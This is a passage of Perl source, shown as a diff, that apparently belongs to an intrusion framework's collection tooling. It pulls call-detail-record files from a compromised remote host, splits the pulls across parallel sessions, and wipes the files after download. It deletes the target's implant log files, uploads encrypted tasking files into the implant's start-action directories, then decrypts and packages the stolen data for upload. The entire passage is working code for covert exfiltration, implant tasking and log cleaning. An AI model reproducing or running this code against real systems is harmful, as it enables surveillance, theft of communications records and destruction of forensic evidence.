@cdroutput = grep !/$skipexpr/ , @cdroutput; + dbg(" \@cdroutput = grep ! /$skipexpr/ , \@cdroutput;"); + $lessfiles = "After blacklisting \"$skipexpr\" (skipping $skipcount), files now include:\n". + join("\n",@cdroutput)."\n\n"; + } else { + $lessfiles = "${COLOR_FAILURE}No files were skipped, none matched \"$skipexpr\".\n". + "$COLOR_NORMAL\n" + if $skipexpr; + } + my $problem = handleargfiles(); + if ($problem) { + offerabort($problem."\n\n".$COLOR_NORMAL); + } +} + +mydie("Argfile tasking is complete.") + if ($taskonly); + +# Populate list we pull/rm +my @getlist = (); +my @completelist = (); +# Populate @getlist based on -sN,M split or not +my $getcount = 0; +my $nopulls = 0; +if ($mysplitpart == 1) { + foreach (@cdroutput) { +# if (m,.* \d\d:\d\d \d\d\d\d (/.*),) { + if (m,-.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$,) { + my ($size,$month,$path) = ($1,$2,$3); + push (@getlist,$path); + push (@completelist,$_); + } + } + my $totalfilecount = @completelist; + $splitcount = 1 unless $splitcount; + $splitcount = minof($splitcount,$totalfilecount) + if ($splitcount); + if (!$totalfilecount and $skipfiles) { + $splitcount = 1; + offerabort + ("You blacklisted \"$skipexpr\" files, and after ignoring\n". + "those, there are no files to collect. If you want to download\n". + "and decrypt the blacklisted files, abort here and re-run the same\n". + "command less any blacklist option."); + $nopulls++; + } else { + mydie("Cannot proceed, bug: splitcount=$splitcount= mysplitpart=$mysplitpart= totalfilecount=$totalfilecount=") + unless ($splitcount > 0); + } + + my $counteach = int(0.50 + (@completelist / $splitcount)); + + if ($splitcount > 1) { + my @countlist = sortlistingonsize(@completelist); + # Clear @getlist, we start over here with the splitting of @countlist + @getlist = (); + # we populate each split by alternating one of the top (smallest) and bottom (largest) + # until we exhaust them all. This way, each split has about the same number of bytes to it. + my $dobottom = 0; + for (my $parti=1;$parti<=$splitcount;$parti++) { + if (open(CDROUT,">$optmp/getcdrhits.$nopen_rhostname.$parti.of.$splitcount")) { + my $count = $counteach; + while ($count and @countlist) { + my $str = ""; + if ($dobottom) { + $str = shift @countlist; + } else { + $str = pop @countlist; + } + print CDROUT "$str\n"; + $dobottom = ! $dobottom; + $count--; + } + close(CDROUT); + } + } + mydie("This is bad, finished $splitcount files, still have ".scalar @countlist."\n". + "entries left in completelist:\n\n". + `ls -al $optmp/getcdrhits.$nopen_rhostname.*.of.$splitcount`."\n\n". + "completelist = (". + "\n ".join("\n ",@countlist). + "\n )") + if (@countlist); + } +} + +if ($splitcount > 1 and $mysplitpart == 1) { + my $cmd = "-gs getcdrhits $origargs"; + my $cmds = ""; + $cmd =~ s/-s\s*(\d+),/-s III,/; + for ($i=2;$i<=$splitcount;$i++) { + $cmds .= " $cmd\n"; + $cmds =~ s/III,/$i,/; + } + `rm $optmp/DONE.getcdrhits.$nopen_rhostname* 2>/dev/null`; + offerabort(#"splitcount=$splitcount= mysplitpart=$mysplitpart=". + "If you are ready to continue with all $splitcount instances,\n". + "here are pastables for your other ".int($splitcount - 1)." instances:\n\n". + $cmds."\n\n". + "If not, you can abort here (and not run the pastables).\n" + ); +} + +# ASSERT: At this point, either @getlist is full and we are part 1 of 1, or +# @getlist is empty and we populate our @getlist from $taskfile. + +if (!@getlist) { + # In -s N,M mode, we have to populate @getlist and @cdroutput from the $i.of.M file. + my $sleepcount=0; + my ($lastfilesize,$filesize,$samecount) = (); + my $taskfile = "$optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount"; + # Parts 2+ must wait here until their tasking is written. + while ($mysplitpart > 1) { + sleep 1; + if (-e "$optmp/abortcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount") { + unlink("$optmp/abortcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount"); + mydie("User aborted"); + } + $filesize = -s $taskfile; + tickleifneedbe(0,0,60); # Run something once a minute on target + if ($sleepcount % 20 == 0) { + progprint("Waiting on part 1 of $splitcount to build tasking for this instance\n". + "($optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount).\n\n". + "Touch this file to abort: touch $optmp/abortcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount"); + } + $sleepcount++; + if ($filesize > 0) { + dbg("taskfile there: \n". + `ls -al $taskfile`. + "file size now: $filesize=\n". + "last file size: $lastfilesize=\n". + "samecount=$samecount="); + unless ($lastfilesize > 0) { + $lastfilesize = $filesize; + next; + } + # Sleep a bit more, make sure + last if ($filesize == $lastfilesize and ($samecount++ > 1)); + } + } + if (open(CDRIN,$taskfile)) { + @cdroutput = (); + while () { + chomp; + next if /^\s*\#/; + if (m,.* \d\d:\d\d \d\d\d\d (/.*),) { + push (@getlist,$1); + push (@cdroutput,$_); + } + } + mydie("No tasking in $optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount") + unless @getlist; + progprint($COLOR_NORMAL. + $lessfiles."\n\n". + "Just read in session $mysplitpart of $splitcount tasking from \n". + " $optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount:\n\n ". + join("\n ",@getlist)); + $lessfiles = ""; + } else { + mydie("Cannot open $optmp/getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount") + unless $nopulls; + } +} + +my $totalpullsize = 0; +foreach (@cdroutput) { + $totalpullsize += $1 + if (/\s(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d\d:/); +} +$totalpullsize = int(100*$totalpullsize / 1024 / 1024)/100; + +my $splitmore = ""; +$splitmore = " (part $mysplitpart of $splitcount)" + if ($splitcount > 1); + +$getcount = @getlist; +if ($nopulls) { + offerabort + ($lessfiles."\n ". + "There are no fiiles to pull. We will continue with the\n". + "log cleaning if there is any.". + ""); +} else { + offerabort + ($lessfiles."\n ". + join("\n ",@getlist)."\n\n". + "$prog$splitmore is about to download and/or delete the $getcount files above,\n". + "with a total size of $totalpullsize MB". + ""); +} +# Why was this FORCEREGET on? I forget. 20100708 +#nopengetfiles("FORCEREGETNOBUILTINRMLISTIS-lsWIPEAFTERWITHOUTPROMPT",@cdroutput); +nopengetfiles("$bwmax${forcereget}NOBUILTINRMLISTIS-lsWIPEAFTERWITHOUTPROMPT",@cdroutput); + +# ASSERT: nopengetfiles() now populates @nopengotfiles (if it is nonempty), +# giving us a complete list of full paths of files pulled this run-through. + +## Loop makes sure rm line does not get too big. +#my $list=""; +#while (@getlist) { +# $list .= shift @getlist; +# $list .= " " ; +# if (length $list > 1500) { +# doit("rm $list"); +# $list=""; +# } +#} +#doit("rm $list") if $list; + +# Only run this if skipexpr was defined. +# NOTE: Only first instance if -s N,M is used will have @cdroutputskipped populated +if ($skipexpr and @cdroutputskipped) { +# Populate list to rm blacklisted file with prompt + my @skiplist = (); + foreach (@cdroutputskipped) { + push (@skiplist,$1) + if m,.* \d\d:\d\d \d\d\d\d (/.*),; + } + + offerabort + ($skipfiles. + "$prog is about to delete the blacklisted (and not downloaded) files listed above.". + "") ; + + + # Loop makes sure rm line does not get too big. + my $listskip=""; + while (@skiplist) { + $listskip .= shift @skiplist; + $listskip .= " " ; + if (length $listskip > $nopenmaxcommandlength) { + doit("rm $listskip"); + $listskip=""; + } + } + doit("rm $listskip") if $listskip; +} + +# Pulling the ER logs from disk, but only in master 1,M instance +if ($mysplitpart == 1) { + foreach my $pathlog (@remotelogpath) { + # Remove the escape here we use quotes + ($outputl,$nopenlinesl,@tmp) = + nopenlss("-UzFQ","$srcdir/$pathlog"); + $pathlog = "\"$pathlog\"" if $pathlog =~ /\s/; + push (@cdroutputl,@tmp); + } + + if (@cdroutputl) { + my $logfiles = join("\n",@cdroutputl)."\n\n"; + # Populate list we pull/rm + my @getlistl = (); + foreach (@cdroutputl) { + #$COLOR_SUCCESS="\033[2;32m"; + #$COLOR_FAILURE="\033[2;31m"; + #$COLOR_WARNING="\033[1;33m"; + #$COLOR_NORMAL="\033[0;39m"; + #$COLOR_NOTE="\033[0;34m"; + # Remove colors + s,\033\[\d+;\d+m,,g; + push (@getlistl,$1) + if m,.* \d\d:\d\d \d\d\d\d (/.*),; + } + + my ($ans,$longans) = mygetinput + ("NOTE: This is the first of two questions.\n". + " The default in the NEXT question will be YES for delete\n". + " WITHOUT downloading, which is the norm. Hence, the norm for\n". + " this question, download AND delete, is No.\n\n". + "Do you want to DOWNLOAD$COLOR_FAILURE and$COLOR_NORMAL delete the ER log files listed above?", + "N" + ); + + unless ($ans eq "n") { + nopengetfiles("$bwmax${forcereget}LISTIS-lsWIPEAFTERWITHOUTPROMPT",@cdroutputl); + } else { + ($ans,$longans) = mygetinput + ($logfiles. + "Do you want to delete the ER log files listed above?", + "Y" + ); + unless ($ans eq "n") { + # Loop makes sure rm line does not get too big. + my $loglist=""; + while (@getlistl) { + $loglist .= shift @getlistl; + $loglist .= " " ; + if (length $loglist > $nopenmaxcommandlength) { + doit("rm $loglist"); + $loglist=""; + } + } + doit("rm $loglist") if $loglist; + } + } + } +} + + +if ($mysplitpart > 1) { + if (open(CDROUT,">$optmp/DONE.getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount")) { + foreach (@ourfilespulled) { + print CDROUT "$_\n"; + } + print CDROUT "# ".gmtime()."\n"; + close(CDROUT); + } else { + mydie("Part $mysplitpart of $splitcount is done, but it could not write\n". + "to $optmp/DONE.getcdrhits.$nopen_rhostname.$mysplitpart.of.$splitcount\n\n". + "This is bad, get help."); + } + mydie("Part $mysplitpart of $splitcount is done. Part 1 will now pack up the data.") + if ($splitcount == 2); + mydie("Part $mysplitpart of $splitcount is done. Part 1 will pack up the data\n". + "once all the other parts are done."); +} else { + my $sleepcount = 0; + unlink("$optmp/CONTINUE.getcdrhits.$nopen_rhostname"); + while ($splitcount > 1) { + tickleifneedbe(0,0,60); # Run something once a minute on target + my $alldone = 1; + sleep 1; + for ($parti=2;$parti<=$splitcount;$parti++) { + $alldone = 0 + unless (-f "$optmp/DONE.getcdrhits.$nopen_rhostname.$parti.of.$splitcount"); + } + last if ($alldone); + my $more = "\n\n(You can skip waiting for them if something is wrong with this:\n\n". + " touch $optmp/CONTINUE.getcdrhits.$nopen_rhostname\n\n". + " (ALERT someone if that is the case though.)\n\n" + if ($sleepcount > 122); + my $more2 = `ls -al $optmp/DONE.getcdrhits.$nopen_rhostname*`; + progprint($COLOR_FAILURE. + "\n\n".$more.$COLOR_NORMAL. + "Part 1 of $splitcount is waiting for the other parts to finish.\n\n". + "A \"w\" will be done every minute until then to keep this window alive.\n\n". + $more2) + unless ($sleepcount % 120); + $sleepcount++; + last if (-f "$optmp/CONTINUE.getcdrhits.$nopen_rhostname"); + } + unlink("$optmp/CONTINUE.getcdrhits.$nopen_rhostname"); +} + + +# ASSERT: We are $mysplitpart == 1 and all other instances (if any) are done +packitup() ; + +while (@actionpaths) { + my $erpath = shift(@actionpaths); + doit("-ls -R $erpath"); + if (@actionpaths) { + mygetinput("Above is the $erpath directory tasked earlier, shown here so you\n". + "can confirm if any new hits have shown up or not.\n\n". + "Hit enter to see the next one."); + } else { + progprint("Above is the $erpath directory tasked earlier, shown here so you\n". + "can confirm if any new hits have shown up or not."); + } +} + +exit 1; + +sub handleargfiles { + my @argfiles = (); +#TODO: Why is this failing? +# my @tmp = findfilematching("argfile","f"); + my @tmp = split(/\n/,`find /current/ /mnt/zip -type f 2>/dev/null | grep argfile`); + if (@tmp) { + # Put this project entries earlier in array, eliminate any enc files. + @tmp = grep ! /enc$/, @tmp; + my @tmp2 = grep /$projectname/i, @tmp; + @argfiles = grep /(forward|fwd)/, @tmp2; + push(@argfiles, grep ! /(forward|fwd)/, @tmp2); + push(@argfiles, grep ! /$projectname/i, @tmp) + } + my $default = $argfiles[0]; + my $listing = ""; + if (@argfiles) { + my @last = grep /$projectname/i, @argfiles; + my @first = grep !/$projectname/i, @argfiles; + $listing = `find @first -type f -ls | lss | sed "s/.*root //g"` + if @first; + $listing .= `find @last -type f -ls | lss | sed "s/.*root //g"` + if @last; + } + $default = "none" unless $default; + my ($ans,$longans,$count,$more,$more2); + while (!$newargfile and $longans ne "none") { + $more = "\n$COLOR_FAILURE\nINVALID RESPONSE\n$COLOR_NORMAL\n" + if $count++; + ($ans,$longans) = mygetinput + ($listing."\n\n".$more. + "If there is a fresh argfile to upload, enter it here (the$COLOR_FAILURE .txt$COLOR_NORMAL one).\n\n". + "If you need to abort now and re-try this later, enter$COLOR_FAILURE ABORT$COLOR_NORMAL.\n\n". + "If there is no tasking to do, answer$COLOR_FAILURE NONE$COLOR_NORMAL.\n\n". + "Argfile to use ($prog will encrypt it)\n",$default + ); + mydie("User aborted") if ($longans =~ /^abort/i); + return if ($longans =~ /^none/i); + $more2 = ""; + $newargfile = $longans + if ($longans ne "none" and -f $longans); + if ($newargfile) { + # $newargfile = s,/+,/,g; + dbg("longans=$longans= +newargfile=$newargfile= +newfile=$newfile="); + my $bn = basename($newargfile); + my $newfile = "$downroot/$bn"; + unless ($newfile eq $newargfile) { + preservefile($newfile); + copy($newargfile,$newfile); + $newargfile = $newfile; + } + `dos2unix $newargfile`; + chomp(my $test = `file $newargfile | grep -iv ascii`); + chomp(my $test2 = `sort $newargfile > $newargfile.sorted ; file $newargfile.sorted | grep -iv ascii ; rm $newargfile.sorted`) + if $test; + if ($test and $test2) { + $more2 = "\n$COLOR_FAILURE\nFILE IS NOT ASCII: $test\n$COLOR_NORMAL\n"; + unlink($newargfile); + $newargfile = ""; + next; + } + progprint("Copied $longans to $newargfile, dos2unix'd it if need be:\n\n". + `ls -al $longans $newargfile | sort -u`."\n". + `file $longans $newargfile | sort -u`."\n"); + + $encargfile = $newargfile; + $encargfile =~ s/\.txt//; + $encargfile .= ".enc" unless ($encargfile =~ /\.enc$/); + my $cmd = "$cryptTool -i $newargfile -o $encargfile -k $cryptkey -b 2>&1"; + progprint($COLOR_NORMAL."\n\n". + "Encrypting argfile with:\n $cmd\n\n". + `$cmd`); + mydie("Encrypting argfile failed, $encargfile does not exist") + unless (-f $encargfile); + chomp($test = `file $encargfile | grep -vi "data\$"`); + if ($test) { + offerabort($COLOR_FAILURE."\n\nENCRYPTION MAY HAVE FAILED:\n$COLOR_NORMAL\n". + "file $encargfile\n". + $test."\n\n". + "You should probably abort.","ABORT"); + } + } + } + return unless ($newargfile and $encargfile); + my ($tmppath,$longlist,$output,$nopenlines,@list,@tmp) = (); + foreach my $path (@remotepaths) { + # Remove the escape here we use quotes + $path =~ s,\*.*,\*,; + # We force $path to have a / in there near the beginning, even if ./ + $path = "./$path" unless ($path =~ m,^/,); + ($output,$nopenlines,@tmp) = + doit("-ls -d $path"); + foreach (@tmp) { + s,.*root ,,; + push (@list,$_); + s,.*\s\d\d\d\d\s((\.*)/),\1,; +#Do not use spaces +# $_ = "\"$_\"" if (/\s/); + push(@actionpaths,$_); + $tmppath = dirname($_); + } + } + $tmppath = "." if (!$tmppath); + my $default = ""; + ($default) = grep /erf/,@actionpaths; + $default = $actionpaths[0] unless (length $default); + my $ies = "ies"; + $ies = "y" unless (@actionpaths > 1); + ($ans,$longans) = mygetinput + ("Start action director$ies found:\n". + #"tmppath=$tmppath=\n". + join(" \n",@list)."\n\n". + "Argfile has been encrypted:\n\n". + `ls -al $downroot/argfile.$nopen_rhostname* 2>&1 | grep -v enc`. + `ls -al $downroot/argfile.$nopen_rhostname* 2>&1 | grep enc`."\n\n". + `file $downroot/argfile.$nopen_rhostname* 2>&1 | grep -v enc`. + `file $downroot/argfile.$nopen_rhostname* 2>&1 | grep enc`."\n\n". +"\n\n\n +actionpaths[0]=$actionpaths[0]= +dbg: default=$default=\n\n\n". + "Which start action directories do you want to upload the new argfile to\n". + "(enter them, directory name only, space delimited, or enter \"all\")?", + $default + ); + + mydie("User aborted") + if (lc $longans eq "abort"); + + unless ($longans eq "all") { + @actionpaths = split(/\s+/,$longans); + } + my $eachof = " each of" + if (@actionpaths > 1); +#offerabort("tmppath=$tmppath= Uploading once to $tmppath, then copying to$eachof (@actionpaths)."); + + ($output,$nopenlines,@output) + = doit("-put $encargfile $tmppath/$argname"); +dbg("output=$output="); +#TODO: This test failed +# mydie("\n\nUpload of argfile failed, you have cleanup to do.") +# unless ($output =~ m,-.* $tmppath/$argname$,); + my ($newname) = ($argname); + if ($argname =~ /(\d)$/) { + $newname =~ s,\d$,,; + } + foreach my $path (sort @actionpaths) { + unless ($path =~ /^\S+/) { + progprint("$COLOR_FAILURE\n\nRefusing to use path=$path=!!!!\n\n". + "Would result in cp $tmppath/$argname $path/$newnameN"); + sleep 5; + next; + } + my ($list,$ext) = (); + my ($moreerr,@actiondests) = (); + while (1) { + my ($ans,$longans) = mygetinput + ($moreerr. + "How many different start actions are in $path (i.e., how many copies of\n". + "adm1 need to be put in $path, adm1 ... admN)?",1 + ); + mydie("User aborted") if (lc $longans eq "abort"); + if ($longans !~ /^\d+$/ or + $longans < 1) { + $moreerr = "$COLOR_FAILURE\n\nINVALID ANSWER: $longans\n\n"; + next; + } + for (my $i=1;$i<=$longans;$i++) { + push(@actiondests,$i); + } + last; + } + my $dowhat = ""; + foreach my $ext (@actiondests) { + $dowhat .= " ; " if $dowhat; + $dowhat .= "cp $tmppath/$argname $path/$newname$ext"; + $longlist .= " $path/$newname$ext"; + $list .= " $path/$newname$ext"; + } + ($output,$nopenlines,@output) + = doit("$dowhat ; ls -al $list"); + } + doit("-rm $tmppath/$argname"); + + progprint("Sleeping 5s, see if they are gone yet...."); + sleep 5; + ($output) = doit("-ls $longlist"); + if ($output) { + ($output) = doit("-ls $longlist"); + progprint($COLOR_FAILURE."\n\nOne or more argfiles is still there, check again later") + if ($output); + sleep 7; + } + return "\n$COLOR_FAILURE\n$output\n\n". + "One or more argfiles is still there, something is likely wrong with ER.\n\n". + "Press return to continue." if $output; + return ""; +} + +sub makekeyfile { + return unless ($cryptkey); + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime(); + $monstr = $mons[$mon]; + my $ext = sprintf("%02d%3s%04d",$mday,$monstr,$year); + my $keyfile = "$downroot/cryptkey.$nopen_rhostname.enemyrun.$ext"; + open(KEYOUT,">$keyfile"); + print KEYOUT "$cryptkey\n"; + close(KEYOUT); + return $keyfile; +} + +sub packitup { + local ($forcepack) = (@_); + my ($countpulledbefore) = (); + $countpulledbefore = $collcountbefore + $logcountbefore; + newhostvar("host_dirpushed{$logroot}",0) + unless $host_dirpushed{$logroot}; + newhostvar("host_dirpushed{$collroot}",0) + unless $host_dirpushed{$collroot}; + # We toss the dummy entry of "1" that we first put in here. + shift @ourfilespulled if ($ourfilespulled[0] eq "1"); + if ($splitcount > 1) { + for ($parti=2;$parti<=$splitcount;$parti++) { + if (open(CDRIN,"$optmp/DONE.getcdrhits.$nopen_rhostname.$parti.of.$splitcount")) { + while () { + chomp; + next if /^\s*\#/; + next if ($_ eq "1"); + push (@ourfilespulled,$_); + } + close(CDRIN); + } + unlink("$optmp/DONE.getcdrhits.$nopen_rhostname.$parti.of.$splitcount"); + } + } + my $srcroot = "$opdown/$nopen_rhostname"; + my (%oldfilespulled) = (); + #Never used this: +# foreach my $line (@oldcdroutput) { +# chomp; +# my ($type,$inodes,$user,$group,$size,$monstr, +# $mday,$hm,$y,$filename,@morefilename) +# = split (/\s+/,$line); +# next unless ($type eq "-"); +# if (@morefilename) { +# my ($newfilename) = $line =~ /\s($filename\s.*)/; +# $filename = $newfilename if (length $newfilename); +# } +# if (-f "$srcroot/$filename") { +# push (@ourfilespulled,$filename); +# $oldfilespulled{$filename}++; +# } +# } + my $filecount = @ourfilespulled; + my $plusmore = ""; +#UNUSED: +# $plusmore = "(which includes ".(scalar keys %oldfilespulled)." pulled previously)" +# if (scalar keys %oldfilespulled > 0); + if ($filecount) { + chdir($srcroot) + or mydie("Cannot cd to /current/down/$nopen_rhostname to decrypt"); + if ($heredecrypt) { + mygetinput(".\nAbout to decrypt all $filecount files just pulled$plusmore,\n". + "writing new .txt files to $collroot via:\n $COLOR_FAILURE\n\n". + " $cryptTool -i SRCFILE -o DSTFILE.txt -k $cryptkey -d -c -b\n\n". + $COLOR_NORMAL. + "where SRCFILE is from $srcroot\n". + "and DSTFILE.txt will be put beneath\n". + "$collroot.\n". + "Original encrypted files will also be put there.\n\n". + "A \"w\" will be done on target every 45 seconds until this is complete.\n\n". + "Hit Return to continue." + ); + } else { + mygetinput(".\nAbout to copy all $filecount encrypted files just pulled$plusmore\n". + "to $collroot.\n\n". + "As a test, the first one will be decrypted via:\n $COLOR_FAILURE\n\n". + " $cryptTool -i SRCFILE -o DSTFILE.txt -k $cryptkey -d -c -b\n\n". + $COLOR_NORMAL. + "\n\n". + "A \"w\" will be done on target every 45 seconds until this is complete.\n\n". + "Hit Return to continue." + ); + } + my $runoutput = ""; + my ($testfail,$testdone) = (); + my $whatted = "copied"; + $whatted = "decrypted" if ($heredecrypt); + # 20100420: Same loop here does either decrypt or copy, defaults now to copy. + my $logext = "000"; + while (-f "$logroot.$logext") { + $logext = sprintf("%03d",$logext + 1); + } + my $collext = "000"; + while (-f "$collroot.$collext") { + $collext = sprintf("%03d",$collext + 1); + } + if ($logcountbefore or $collcountbefore) { + if ($logcountbefore) { + # For the logs, we don't care whether $host_dirpushed{$logroot} + # indicates old ones have been pushed or not, merging and pushing + # twice is no issue. + my ($ans) = mygetinput + ("There are already $logcountbefore files in $logroot.\n\n". + "You can set those aside to separate the new ones about to be downloaded from\n". + "the old. Even if they were already pushed up (we normally don't), it\n". + "will not really matter if old and new logs are combined and then pushed--they.\n". + "are read manually, anyways.\n\n". + "Do you want to move\n". + " $logroot\n". + " to $logroot.$logext?","N" + ); + if ($ans eq "y") { + rename($logroot,"$logroot.$logext"); + `mkdir $logroot`; + newhostvar("host_dirpushed{$logroot}",0); + } + } + if ($collcountbefore and $host_dirpushed{$collroot}) { + my ($ans) = mygetinput + ("There are already $collcountbefore files in $collroot,\n". + "and it appears they have already been pushed up (you should know if they were).\n\n". + "You can set those aside to separate the new ones about to be downloaded from\n". + "the old. But if you did not yet push the old, or you want to merge the old\n". + "and new and push again, you can leave them where they are and the new ones\n". + "will be combined with the old. They will then be pushed up together.\n\n". + "Do you want to move\n". + " $collroot\n". + " to $collroot.$collext?","N" + ); + if ($ans eq "y") { + rename($collroot,"$collroot.$collext"); + `mkdir $collroot`; + newhostvar("host_dirpushed{$collroot}",0); + } + } + } + $countdone = 0; + foreach my $remotepath (@ourfilespulled) { + my $srcfile = "$srcroot/$remotepath"; + my $localsrcdir = dirname($srcfile); + my $localdestdir = "$collroot/".dirname($remotepath); + my $thisdecrypt = $heredecrypt; + my $thisislog = 0; + my $otherlogstr = 0; + foreach my $otherstr (@otherskipstrs) { + # Special case for one target, bb5e8 == log + $otherlogstr++ + if $remotepath =~ /$otherstr/; + } + if ($otherlogstr or + $remotepath =~ /log/i) { + $thisislog++; + # per file decision, logs always decrypted + $thisdecrypt = 1; + $localdestdir = "$logroot/".dirname($remotepath); + } + my $newfile = basename($remotepath); + my ($tickleoutput,$nopenlines,@output) = tickleifneedbe(0,"w",45); + if ($runoutput or $tickleoutput or ($countdone and !($countdone % 300))) { + my $graphic = graphic(1+$countdone,$filecount,80); + $runoutput .= "\n\n" if $runoutput; + progprint("$COLOR_NORMAL\n". + $runoutput. + "$countdone of $filecount files $whatted\n". + "$COLOR_SUCCESS\n$graphic"); + $runoutput = ""; + } + #do copy/decryption locally, make sure environment makes sense + unless (-d $localsrcdir and -f $srcfile and -s $srcfile) { + dbg("$prog ODD: $localsrcdir not a directory") unless (-d $localsrcdir); + dbg("$prog ODD: $srcfile not a file") unless (-f $srcfile); + dbg("$prog ODD: $srcfile is empty") unless (-s $srcfile); + mywarn("THIS IS ODD, REPORT IT:\n\n". + " (-d $localsrcdir and\n". + " -f $srcfile and\n". + " -s $srcfile)\n\n". + " THIS SHOULD BE TRUE AND IS NOT. Skipping this one:\n". + " $srcfile."); + sleep 3; + next; + } + $countdone++; + my $dbgmore = ""; + unless (-d $localdestdir) { + $runoutput .= `mkdir -vp $localdestdir 2>&1`; + $dbgmore .= "mkdir -vp $localdestdir 2>&1\n"; + } + # Rename() instead? No want this. + # We copy regardless of whether we decrypt or not + if (-f "$localdestdir/$newfile") { + chomp(my $test = `diff $srcfile $localdestdir/$newfile 2>/dev/null | wc -l`); + if ($test > 0) { + preservefile("$localdestdir/$newfile"); + } else { + unlink("$localdestdir/$newfile"); + } + } + copy($srcfile,"$localdestdir/$newfile") + or mydie("$prog cannot copy($srcfile,$localdestdir/$newfile): $!"); + $newfile .= ".txt" + if $thisdecrypt; + # So if not decrypting here, we test only the one file, once tested we wipe + # the decrypted one, the other is still there as $newfile without $testext. + + # Remainder of loop is decrypting/testing + while ($thisdecrypt or !$testdone) { + my $testext = ""; + $testext = ".test" if (!$thisdecrypt); + my $cmd = "$cryptTool -i $srcfile -o $localdestdir/$newfile$testext -k $cryptkey -d -c -b 2>&1"; + my $runoutputnew = `$cmd`; + my $err = $?; + $runoutput .= $runoutputnew; + dbg("RUNNING locally via backticks:\n\n". + $dbgmore." +thisdecrypt=$thisdecrypt= +heredecrypt=$heredecrypt= +testdone=$testdone=\n\n\n". + "$cryptTool -i $srcfile -o $localdestdir/$newfile$testext -k $cryptkey -d -c -b 2>&1". + "\n\nGAVE OUTPUT:\n\n". + $runoutputnew); + # Cannot do this, $err returned is > 0 even when it works right. + # if ($err) { + ## my ($ans,$longans) = mygetinput + # mydie + # (".$COLOR_FAILURE\n\n". + # "We have a problem with $cryptTool, ERR=$err was returned running:\n". + # "$COLOR_NORMAL\n". + # "$cmd\n\n". + # "You may be able to fix this manually." + ## "We might be able to fix this. Enter a new key to try (all hex):" + # ); + # } + last if (!$thisdecrypt and $testdone); + unless ($testdone) { + my $test = `file $localdestdir/$newfile$testext`; + $test =~ s,\s*$,,g; + # Sometimes file gets confused, if top line looks right we override file's results. + unless ($test =~ /ascii/i) { + #TODO: This test is coming up as some picture crap, find a better testing method + #example: exec=CURSEHYDRANT; ver=6.1.0.2; os=HP-UX B.11.00 + chomp(my $head = `head -1 $localdestdir/$newfile$testext`); + my ($a,$b,$c,) = $head =~ /^\#exec=(\S+).*ver=(\S+).*os=(\S+)/; + $test = "ascii" if ($a and $b and $c); + } + if ($test =~ /ascii/i) { + $testdone++; + dbg("$prog decrypted $test"); + unless ($thisdecrypt) { + # So if not decrypting here, we test only the one file, once tested we wipe + # the decrypted one, the other is still there as $newfile without $testext. + unlink("$localdestdir/$newfile$testext"); + last; + } + if ($testfail) { + mygetinput("file $localdestdir/$newfile$testext\n". + $test. + "head -5 $localdestdir/$newfile$testext\n". + `head -5 $localdestdir/$newfile$testext`. + "\n\nThis key worked. Press Enter to continue."); + } + } else { + $testfail++; + my $oldkey = $cryptkey; + my ($ans,$longans) = mygetinput + (".$COLOR_FAILURE\n\nWe$COLOR_NOTE MAY$COLOR_FAILURE have a problem with $cryptTool, ERR=$err was returned running:\n$COLOR_NORMAL\n". + "$cmd\n\n". + "Worse, \"file $localdestdir/$newfile$testext\" reports:\n\n". + $test."\n\n". + "This is NOT expected, but we might be able to fix this if that was the wrong key.\n". + "Can you provide the right key?\n\n". + "Choose one of:\n". + " - Enter a key (if you enter the same key, you can try another cryptTool binary);\n". + " - Enter ABORT (we stop $prog entirely);or \n". + " - Enter GOAHEAD (we continue and ignore this from now on).\n\n". + "Your answer:" + ); + $cryptkey = $longans + if ($longans =~ /^[a-f0-9]+$/); + if ($longans eq "ABORT") { + chomp(my $listing = `ls -al $collroot $logroot 2>/dev/null`); + mydie((length $listing + ? ("If you run $prog again, this data will still be there to push later:\n\n". + "ls -al $collroot $logroot:\n".$listing. + "\n\n") + : ("") + ). + "User aborted"); + } elsif ($longans eq "GOAHEAD") { + $testdone++; + } elsif ($cryptkey eq $oldkey) { + my $listing = "\n\n".`find /share/ /mnt/ $opbin -type f -name "cryptTool*" -ls 2>/dev/null | lss`; + my ($ans,$longans) = mygetinput + ($listing. + "\n\nEnter the full path (or triple click an entire line above) to a different cryptTool binary:\n" + ); + $longans = $1 if + $longans =~ + m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d{4}\s+(/.+),; + if (-f $longans and -x _) { + $cryptTool = $longans; + } + } + } + } + last if ($thisislog and $testdone); + } + } + mydie("NO FILES DECRYPTED HOW CAN THIS HAPPEN?") unless ($countdone); + # rmdir only removes if empty, ignore error + `rmdir $collroot $logroot 2>/dev/null`; + } + my $stamp = timestamp(short); + my $alsodecrypted = " encrypted"; + $alsodecrypted = " encrypted AND decrypted" if $heredecrypt; + if ($projectname and ($forcepack or $countpulledbefore or $countdone)) { + #Will tar all decrypted collection, data in one file, logs in another + if (-d $collroot) { + chomp($collcountafter = `find $collroot -type f | wc -l`); + chomp($logcountafter = `find $logroot -type f | wc -l`); + copy($keyfile,$collroot); + my $prefix = "cdrhits"; + $prefix .= ".$projectname" if $projectname; + progprint(".\n". + "$COLOR_FAILURE\n". + "$prog will now tar all$alsodecrypted data. If more than\n". + "one run of $prog is used, the final tarball pushed will contain\n". + "data from ALL runs on $nopen_rhostname. You can answer NO\n". + "when copy-fast asks you about pushing if you know FOR SURE you will\n". + "be running this again later this op.\n\n". + "The file pushed will contain \"$prefix\".\n". + "(but copy-fast will insert a timestamp in it)"); + tickleifneedbe(0,"w",45); + my @packdir = ("./"); + newhostvar("host_dirpushed{$logroot}",1); + newhostvar("host_dirpushed{$collroot}",1); + offerball($forcepush,"$prefix.","",$collroot,\@packdir); + sleep 3 if (-d $logroot); + } + if (-d $logroot) { + copy($keyfile,$logroot); + my $prefix = 